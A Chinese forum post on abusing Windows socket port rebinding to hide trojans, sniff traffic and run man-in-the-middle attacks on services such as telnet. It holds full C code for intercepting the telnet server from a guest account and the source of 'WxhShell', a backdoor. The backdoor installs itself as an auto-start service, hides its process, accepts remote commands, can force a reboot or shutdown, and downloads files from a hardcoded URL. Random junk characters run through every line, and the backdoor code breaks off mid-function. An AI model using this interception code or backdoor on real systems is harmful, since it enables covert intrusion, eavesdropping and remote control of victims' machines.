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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?]$.3azO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Dc dR:/=  
%&e5i  
  saddr.sin_family = AF_INET; /Q{Jf+>R>  
0jj }jw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hhfqb"2on  
80:na7$)#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q"QrbU  
5#WZXhlc}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =EV8~hMyqh  
I 9tdr<  
  这意味着什么?意味着可以进行如下的攻击: qYbod+UX  
^#g GA_H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \n+`~< i  
B>9D@fmzs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bjD0y cB[  
Xo]FOJ 5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d{9jd{ _#G  
6,cyi|s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w3,QT}WvY  
PksHq77  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lc[\ S4  
QN*'MA"M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tJ'U<s  
.@1\26<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ) c+ ZQq  
o7hjx hmC  
  #include ))306*X\  
  #include o.y4&bC14;  
  #include F+c*v#T  
  #include     ) VJ|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {e>}.R  
  int main() s_E iA _  
  { {^$rmwN  
  WORD wVersionRequested; {?eD7xL:-  
  DWORD ret; `q4\w[0+p  
  WSADATA wsaData; _gw~A {O  
  BOOL val; _(oJ8h(  
  SOCKADDR_IN saddr; kdg Q -UN$  
  SOCKADDR_IN scaddr; 3#5sj >  
  int err; lC^q}Bh:  
  SOCKET s; VI37  
  SOCKET sc; >f}rM20Vm  
  int caddsize; c AIS?]1  
  HANDLE mt; W 4 )^8/  
  DWORD tid;   O:k@'&  
  wVersionRequested = MAKEWORD( 2, 2 ); ]6 }|X#_  
  err = WSAStartup( wVersionRequested, &wsaData ); :c<C;.  
  if ( err != 0 ) { mezP"N=L~  
  printf("error!WSAStartup failed!\n"); qj=12;  
  return -1; C2DNyMu  
  }  UIhB  
  saddr.sin_family = AF_INET; cBc6*%ZD  
   !k%Vw1 8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hM+nA::w  
JnPA;1@/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bzB9u&  
  saddr.sin_port = htons(23); @I_ A(cr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Etn]e;z4  
  { !K6:W1  
  printf("error!socket failed!\n"); W99Fb+$I  
  return -1; [Zgy,j\ \  
  } S(/@.gI:f  
  val = TRUE; *|hICTWL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $+V{2k4X,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MqXA8D  
  {  rd. "mG.  
  printf("error!setsockopt failed!\n"); Q:@Y/4=  
  return -1; va#~ \%`  
  } %qN8u Qx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  EMJio\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1 5rE|m^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .KK"KO5k  
sveFxI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tA'i-D&  
  { <>2QDI6_  
  ret=GetLastError(); )3z.{.F  
  printf("error!bind failed!\n"); 31J7# S2  
  return -1; IKAF%0[R|j  
  } )lH?XpfTjm  
  listen(s,2); 5.5dB2w  
  while(1) ilpg()  
  { N[zI@>x  
  caddsize = sizeof(scaddr); 42Ql^ka  
  //接受连接请求 qlDLZ.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sm\/wlbE  
  if(sc!=INVALID_SOCKET) */?L_\7  
  { x{RTI#a.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $"x(:  
  if(mt==NULL) 4!iS"QH?;^  
  { i~k?k.t8  
  printf("Thread Creat Failed!\n"); qdUlT*fw  
  break; $c  f?`k  
  } hq\KSFP  
  } x"_f$,:!  
  CloseHandle(mt); | M-@Qvgh  
  } /`2VJw  
  closesocket(s); 0D 0#*J  
  WSACleanup(); <6- (a;T!7  
  return 0; ,cgC_ %  
  }   ~5]AXi'e~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZL~}B.nqS  
  { bNIT 1'v  
  SOCKET ss = (SOCKET)lpParam; "eGS~-DVK  
  SOCKET sc; p7 2+:I  
  unsigned char buf[4096]; E/AM<eN  
  SOCKADDR_IN saddr; }{E//o:Ta  
  long num; [xM07%:  
  DWORD val; -7;RPHJs  
  DWORD ret; ~+^,o_hT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p|Z"< I7p(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /"Rh bE   
  saddr.sin_family = AF_INET; KasOh"W.P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +Y 3_)  
  saddr.sin_port = htons(23); y$\K@B4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7B+?1E(  
  { h :NHReMT  
  printf("error!socket failed!\n"); A+ Z3b:}~  
  return -1; $W` &7  
  } cF,u)+2b|6  
  val = 100; D {>, 2hC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Wv9K~F  
  { Tz%l 9aC  
  ret = GetLastError(); ,3N8  
  return -1; ZFrK'BvbR  
  } 2Uu,Vv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "B)DX*-\?  
  { TvM{ QGN  
  ret = GetLastError(); VwtGHF'  
  return -1; c.jnPVf:  
  } _FAwW<S4B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T /[)U  
  { B(b[Dbb  
  printf("error!socket connect failed!\n"); F KL}6W:  
  closesocket(sc); "D@m/l  
  closesocket(ss); 5Ko "-  
  return -1; Oi l>bv8  
  } 1Kwl_jf  
  while(1) ilFM+x@  
  { RAf+%h*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &QCqaJ-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V 9=y@`;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w&f29#i;b  
  num = recv(ss,buf,4096,0); unjo&  
  if(num>0) ;x+4jpH]B  
  send(sc,buf,num,0); Fi*6ud\n!  
  else if(num==0) r@s, cCK9?  
  break; ]l+2Ca:-[j  
  num = recv(sc,buf,4096,0); ub.pJJlC  
  if(num>0) yu}4L'e  
  send(ss,buf,num,0); ,{zvGZ|  
  else if(num==0) (m.]0v*&c  
  break; b/ZX}<s(1=  
  } :(I)+;M}P  
  closesocket(ss); @JN%P} 4)  
  closesocket(sc); )t)tk=R9N  
  return 0 ; dqd Qt_  
  } U.>n]/&  
,9W0fm \t  
vi lNl|  
========================================================== ,wZ[Y 3  
xB9^DURr\  
下边附上一个代码,,WXhSHELL 7g(rJGjtg  
5O)Z}  
========================================================== >@]E1Qfe  
;'p0"\SV  
#include "stdafx.h" 73N%_8DH  
a.w,@!7  
#include <stdio.h> #gsAwna3  
#include <string.h> PB }$.8  
#include <windows.h> <NS= <'U  
#include <winsock2.h> d@#=cvW  
#include <winsvc.h> 5'oWd e  
#include <urlmon.h> *%8,G'"r?  
%tQIKjsVaY  
#pragma comment (lib, "Ws2_32.lib") _^&oNm1  
#pragma comment (lib, "urlmon.lib") NK"y@)%0  
QRt(?96  
#define MAX_USER   100 // 最大客户端连接数 I`5MAvP  
#define BUF_SOCK   200 // sock buffer +{Q\B}3cj1  
#define KEY_BUFF   255 // 输入 buffer i<%(Z[9Lk  
.dM 0  
#define REBOOT     0   // 重启 cH2 nG:H  
#define SHUTDOWN   1   // 关机 TR ]lP<m  
iW |]-Ba\  
#define DEF_PORT   5000 // 监听端口 Az0Yt31=  
j}h50*6KO  
#define REG_LEN     16   // 注册表键长度 a&Z|3+ZA  
#define SVC_LEN     80   // NT服务名长度 m=%W<8[V  
)[qY|yu  
// 从dll定义API Z.YsxbH3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NK,)"WE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ugMJ}IGq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C'zMOR6c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tx5@r;  
gs0,-)  
// wxhshell配置信息 KZD&Ih(vC  
struct WSCFG { ,[cWG)-  
  int ws_port;         // 监听端口 E}" &? oY  
  char ws_passstr[REG_LEN]; // 口令 %M'"%Yn@(y  
  int ws_autoins;       // 安装标记, 1=yes 0=no  hi.{  
  char ws_regname[REG_LEN]; // 注册表键名 ;B1}so1]  
  char ws_svcname[REG_LEN]; // 服务名 C,fIwqOr3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M_*w)<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e@ F& /c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g:f0K2)\r:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q:?g?v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0*tEuJ7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * z{D}L-&  
S6]D;c8GE  
}; %e1<N8E4  
4H\O&pSS  
// default Wxhshell configuration S!.xmc\  
struct WSCFG wscfg={DEF_PORT, m=y6E, _  
    "xuhuanlingzhe", #*Mk@XrV  
    1, >n` OLHg;  
    "Wxhshell", [a+?z6qI\}  
    "Wxhshell", j- A S {w  
            "WxhShell Service", YK}(VF?&  
    "Wrsky Windows CmdShell Service", Qt@~y'O  
    "Please Input Your Password: ", tgrQ$Yjk  
  1, lXB_HDY  
  "http://www.wrsky.com/wxhshell.exe", Tri.>@-u  
  "Wxhshell.exe" L;BYPZR  
    }; /~AwX8X  
IM +Dm  
// 消息定义模块 <GoE2a4Va  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n.7 $*9)#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q jQJ "  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sPd5f2'  
char *msg_ws_ext="\n\rExit."; gHox{*hb[  
char *msg_ws_end="\n\rQuit."; d(]LRIn~1  
char *msg_ws_boot="\n\rReboot..."; 4J I;NN  
char *msg_ws_poff="\n\rShutdown..."; ;$|+H"g|  
char *msg_ws_down="\n\rSave to "; -u8@ .  
?B h}  
char *msg_ws_err="\n\rErr!";  ym${4  
char *msg_ws_ok="\n\rOK!"; qqkZbsN  
]8H;LgM2  
char ExeFile[MAX_PATH]; -lAA,}&+!  
int nUser = 0; {J99F  
HANDLE handles[MAX_USER]; 8#kFS@  
int OsIsNt; % yJs"%  
c4; `3  
SERVICE_STATUS       serviceStatus; ]v9<^!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; px-*uh<  
BwL: B\  
// 函数声明 +;*])N%q  
int Install(void); ]k,fEn(  
int Uninstall(void); $@K+yOq+u  
int DownloadFile(char *sURL, SOCKET wsh); Y-,#3%bT;;  
int Boot(int flag); 7Y!^88,f.  
void HideProc(void); lezdJ  
int GetOsVer(void); [n< U>up  
int Wxhshell(SOCKET wsl); TmQ2;3%  
void TalkWithClient(void *cs); ~xHr/:  
int CmdShell(SOCKET sock); w$& 10  
int StartFromService(void); Kvk;D ]$  
int StartWxhshell(LPSTR lpCmdLine); if `/LJsa  
(Ojg~P4;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8fDnDA.e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dnd  
tcRK\  
// 数据结构和表定义 w5&UG/z%l  
SERVICE_TABLE_ENTRY DispatchTable[] = 4!monaB"e  
{ 6 #QS 5  
{wscfg.ws_svcname, NTServiceMain}, ?=PQQx2_*u  
{NULL, NULL} i\`[0dfY  
}; O %)+ w  
wef QmRK  
// 自我安装 1p{\jCi, 2  
int Install(void) !(o)*S  
{ !\"C<*5  
  char svExeFile[MAX_PATH]; hl# 9a?  
  HKEY key;  nbOMtK  
  strcpy(svExeFile,ExeFile); \k g2pF[V  
IWMqmCbv  
// 如果是win9x系统,修改注册表设为自启动 4}NFa; M1  
if(!OsIsNt) { @<w$QD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vn kktD'n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8`^I. tD  
  RegCloseKey(key); 2&=;$2?}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sN;U,{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yJKezIL\z  
  RegCloseKey(key); 1x\%VtO>\b  
  return 0; 4uTYuaCNs  
    } +J#H9>To!  
  } ETtK%%F0  
} <89 js87  
else { 73]%^kx=  
{yfG_J  
// 如果是NT以上系统,安装为系统服务 yyiZV\ /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zlXkD~GV  
if (schSCManager!=0) 3z5,4ps  
{ s2d;601*b  
  SC_HANDLE schService = CreateService 9@:&E  
  ( k:d'aP3  
  schSCManager, i5)trSM|  
  wscfg.ws_svcname, m =opY~&h  
  wscfg.ws_svcdisp, +\}]`uS:  
  SERVICE_ALL_ACCESS, 3S.rIai+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7R)"HfUh  
  SERVICE_AUTO_START, 0"<g g5  
  SERVICE_ERROR_NORMAL, n#x{~oQc  
  svExeFile, CBO8^M<K  
  NULL, #" f:m`  
  NULL, t#<q O6&B  
  NULL, @YT=-  
  NULL, -@i2]o  
  NULL X?1 :Z|pJ  
  ); w0 "h,{  
  if (schService!=0) m&; t;&#  
  { `@`Q"J  
  CloseServiceHandle(schService); d B?I (  
  CloseServiceHandle(schSCManager); qOk4qbl[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2{&|%1Jg  
  strcat(svExeFile,wscfg.ws_svcname); IG#=}q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g\X"E>X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P= S)V   
  RegCloseKey(key); ~){*XJw6  
  return 0; O >'o;0  
    } /n:s9eq  
  } Gb8LW,$IT-  
  CloseServiceHandle(schSCManager); q A G0t{K  
} C \}m_`MR  
} ty7a&>G  
)iEK7d^-  
return 1; .4?M.Z4[  
} we{*%8I;  
+z9;BPw %  
// 自我卸载 <H#D/?n5  
int Uninstall(void) 'g ,Oi1|~  
{ \8<bb<`  
  HKEY key; b z<wihZj  
xu_Tocvop  
if(!OsIsNt) { "qwRcuHY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iRPd=)  
  RegDeleteValue(key,wscfg.ws_regname); Ij4\*D!  
  RegCloseKey(key); ( XE`,#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N7Ne  
  RegDeleteValue(key,wscfg.ws_regname); (/FPGYu3h  
  RegCloseKey(key); b;S~`PL  
  return 0; XrBLw}lD`N  
  } PJb_QL!9  
} r^Gl~sX  
} lW7kBCsz#  
else { @.MM-  
bZ%[ON5OY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PhW#=S  
if (schSCManager!=0) 17nWrTxR$  
{ 8xL-j2w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o5zth^p[  
  if (schService!=0) {!E<hQ2<$9  
  { )zr/9aV  
  if(DeleteService(schService)!=0) { UpB7hA  
  CloseServiceHandle(schService); t}TtWI  
  CloseServiceHandle(schSCManager); M*0&3Y Z  
  return 0; Z., Pl  
  } [S$)^>0  
  CloseServiceHandle(schService); jixU9]  
  } fzSZ>I0R  
  CloseServiceHandle(schSCManager); M@csB.'  
} 4W^0K|fq  
} "7gS*v,r  
9}3W0F;  
return 1; +5^*c^C  
} ]c$%;!ZE  
6bfk4k  
// 从指定url下载文件 8/=[mYn`-  
int DownloadFile(char *sURL, SOCKET wsh) ~r@'kUXKK  
{ B?TAS  
  HRESULT hr; "hQV\|!\  
char seps[]= "/"; v*#Z{)r  
char *token; {J|P2a[  
char *file; (-"A5(X:/  
char myURL[MAX_PATH]; d9sgk3K  
char myFILE[MAX_PATH]; WhK?>u  
-?@ $`{-K  
strcpy(myURL,sURL); @Z.Ne:*J  
  token=strtok(myURL,seps); i?|K+"=D  
  while(token!=NULL) :B"'49Q`  
  { +n)(\k{  
    file=token; i 0L7`TB  
  token=strtok(NULL,seps); Zwq uS9  
  } 8l)l9;4 6  
$aGK8%.O  
GetCurrentDirectory(MAX_PATH,myFILE); 5%G++oLXf  
strcat(myFILE, "\\"); 1eT|  
strcat(myFILE, file); B&L{/.v_z\  
  send(wsh,myFILE,strlen(myFILE),0); 4N#0w]_,>Y  
send(wsh,"...",3,0); 6x -PGq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a>s v  
  if(hr==S_OK) V&GFGds  
return 0; ydlH6>  
else }KZ/>Z;^  
return 1; yv'mV=BMJ!  
k&^Megcb  
} $ar:5kif  
8t6h^uQ  
// 系统电源模块 6"%[s@C  
int Boot(int flag) #|$7. e  
{ ;z%& 3u/  
  HANDLE hToken; L.|GC7$0  
  TOKEN_PRIVILEGES tkp; D Zh6/n#q  
xD_jfAH'  
  if(OsIsNt) { 7<NX;Fx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A"9aEOX-?i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); flb3Iih  
    tkp.PrivilegeCount = 1; 2c+q~8Jv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y!Z@1V`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |y=CmNG,  
if(flag==REBOOT) { (EohxLl!p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vTB*J,6.  
  return 0; q F}5mUcZ4  
} -j<UhW  
else { Z{ p;J^:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )bcMKZ   
  return 0; u1<xt1K  
} 8q0f#/`v  
  } I>P</TE7  
  else { &[3!Lk`.0  
if(flag==REBOOT) { EA8(_}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ye )(9  
  return 0; mexI }  
} 'TbA^U[  
else { 4NEk#n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dxASU|Yo9  
  return 0; T!;<Fy"p  
} auGt>,Zj\Q  
} ;=e A2  
j*6!7u.,K  
return 1; R 6M@pO  
} ViVYyA  
gi"v$ {R  
// win9x进程隐藏模块 xr6Q5/p1  
void HideProc(void) $9b||L  
{ M)b`~|Wt  
[KjQW/sb'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? 8~$du$  
  if ( hKernel != NULL ) +ckj]yA;  
  { tv;3~Y0i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 134wK]d^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W C`1;(#G  
    FreeLibrary(hKernel); :z"Uw*  
  } )}6:Ke)  
3@}_ F<"*  
return; )s^XVs.-  
} I#A`fJ  
Q!|71{5U  
// 获取操作系统版本 7,O^c +  
int GetOsVer(void) *}2o \h6Q  
{ &7<~Q\XZbI  
  OSVERSIONINFO winfo; "Dy&`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 54 8@._-S  
  GetVersionEx(&winfo); $iF7hyZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nl?|X2?C  
  return 1; ({i|  
  else oYqC"g&4Z  
  return 0; |Z "h q  
} pcEB-boI9  
1yKf=LZ^  
// 客户端句柄模块 =+"XV8Fi,  
int Wxhshell(SOCKET wsl) pYa<u,>pN  
{ XBeHyQp  
  SOCKET wsh; dkVVvK  
  struct sockaddr_in client; )lW<: ?k  
  DWORD myID; 8)H"w$jq  
%R_8`4IQ  
  while(nUser<MAX_USER) =|G PSRQ  
{ 5N[Y2  
  int nSize=sizeof(client); M.l;!U!}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ao]F_hZ  
  if(wsh==INVALID_SOCKET) return 1; 3Y r   
e~}+.B0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \(A>~D8Fo  
if(handles[nUser]==0) ?s_q|d_  
  closesocket(wsh); dA_s7),  
else @r .K>+1  
  nUser++; ZERd#7@m+  
  } D1Fc7! TV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t Y^:C[  
55[K[K  
  return 0; @cXY"hP`  
} )^r4|WYyt  
xW^<.@Agm  
// 关闭 socket ; aMMI p  
void CloseIt(SOCKET wsh) WIhf*LF"  
{ */ qv}  
closesocket(wsh); K1C#  
nUser--; BE m%x 0y  
ExitThread(0); 2h/` RefHJ  
} sB"]R%`_  
8,H  
// 客户端请求句柄 swJwy~  
void TalkWithClient(void *cs) )@sz\yI%U  
{ vu*08<M~i|  
DLz~$TF^  
  SOCKET wsh=(SOCKET)cs; )X7ZX#ttH  
  char pwd[SVC_LEN]; t;? q#!uc  
  char cmd[KEY_BUFF]; WRNO) f<  
char chr[1]; @ 8SYV}0H  
int i,j; {X<tUco  
,0 ])]  
  while (nUser < MAX_USER) { fa6L+wt4O  
 %RJW@~!  
if(wscfg.ws_passstr) { ;1o"Oij  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cy? EX~s4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dpE+[O_  
  //ZeroMemory(pwd,KEY_BUFF); .]jKuTC\<  
      i=0; N2~Nc"L  
  while(i<SVC_LEN) { D!y Cnq=8  
UZdpKi@  
  // 设置超时 <7)@Jds\  
  fd_set FdRead; ` bg{\ .q  
  struct timeval TimeOut; Nc]]e+N#V  
  FD_ZERO(&FdRead); dvUJk<;w  
  FD_SET(wsh,&FdRead); ZOU$do>O  
  TimeOut.tv_sec=8; V%3K")  
  TimeOut.tv_usec=0; 0z%]HlPg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iHR?]]RF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N L~}  
6r^(VT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2"2b\b}my  
  pwd=chr[0]; F*(<`V  
  if(chr[0]==0xd || chr[0]==0xa) { 7Xw #  
  pwd=0; /#.6IV(  
  break; fD V:ueO  
  } E5Z,4B  
  i++; |>d5 6  
    } Dd :Qotu  
x! Z|^q  
  // 如果是非法用户,关闭 socket #N7@p }P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "tm2YUG},s  
} W4X=.vr  
RW%e%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vo%@bj~>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,I[  
8/]5h%  
while(1) { A LKU  
mKn:EqA  
  ZeroMemory(cmd,KEY_BUFF); yn`H}@`k  
@ VVBl I  
      // 自动支持客户端 telnet标准   v=@Z,-  
  j=0; \V}?K0#bt  
  while(j<KEY_BUFF) { Z^s&]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mpN|U(n  
  cmd[j]=chr[0]; ;CFI*Wfp  
  if(chr[0]==0xa || chr[0]==0xd) { # M%-q8  
  cmd[j]=0; O?rVa:\  
  break; P!1y@R>Ln  
  } jsH7EhF{'  
  j++; ]B\H  
    } 7H9&\ur9+  
"1WwSh}Z  
  // 下载文件 iVwI}%k  
  if(strstr(cmd,"http://")) { OZDnU6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Q]m6ciAM  
  if(DownloadFile(cmd,wsh)) 3)p#}_u{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vfp;  
  else ?/5WM%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3~%9;.I3!  
  } 1s/t}J~zZ  
  else { SW# 5px`  
4h|sbB"t  
    switch(cmd[0]) { w%KU@$  
  @tR:}J*9s  
  // 帮助 0%#ZupN  
  case '?': { ~#pQWa5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5Ta<$t  
    break; r3{Cuz  
  } E.zY(#S  
  // 安装 Gdb6 U{  
  case 'i': { 7CWz)LT  
    if(Install()) T}M!A|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXg.[|S*  
    else Wz;7 |UC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H0LEK(K  
    break; LJ\uRfs  
    } Z vM~]8m  
  // 卸载 ..)O/g.  
  case 'r': { aHuZzYQ*"j  
    if(Uninstall()) bXmX@A$#Io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g\ilK:r}  
    else 7A<X!a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "**Tw'  
    break; F-D9nI4{X  
    }  At3>  
  // 显示 wxhshell 所在路径 `O/1aW1  
  case 'p': { 4,4S5u[|  
    char svExeFile[MAX_PATH]; }%x2Z{VF  
    strcpy(svExeFile,"\n\r"); I!Z=3 $,  
      strcat(svExeFile,ExeFile); R6v~Sy&n!  
        send(wsh,svExeFile,strlen(svExeFile),0); /g(WCKva  
    break; ps[HvV"  
    } t<h[Lb%{T4  
  // 重启 Qqm'Yom%T  
  case 'b': { Dc-v`jZ@)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oG{0 {%*@  
    if(Boot(REBOOT)) -Ri/I4Xj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~>6d}7xs  
    else { (#KSwWo{ed  
    closesocket(wsh); (JenTL`%u  
    ExitThread(0); rvfS[@>v  
    } 76epkiz;=  
    break; %k3A`ClW  
    } v'=$K[_  
  // 关机 $S(<7[Z  
  case 'd': { (q o ?e2K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x *:v]6y  
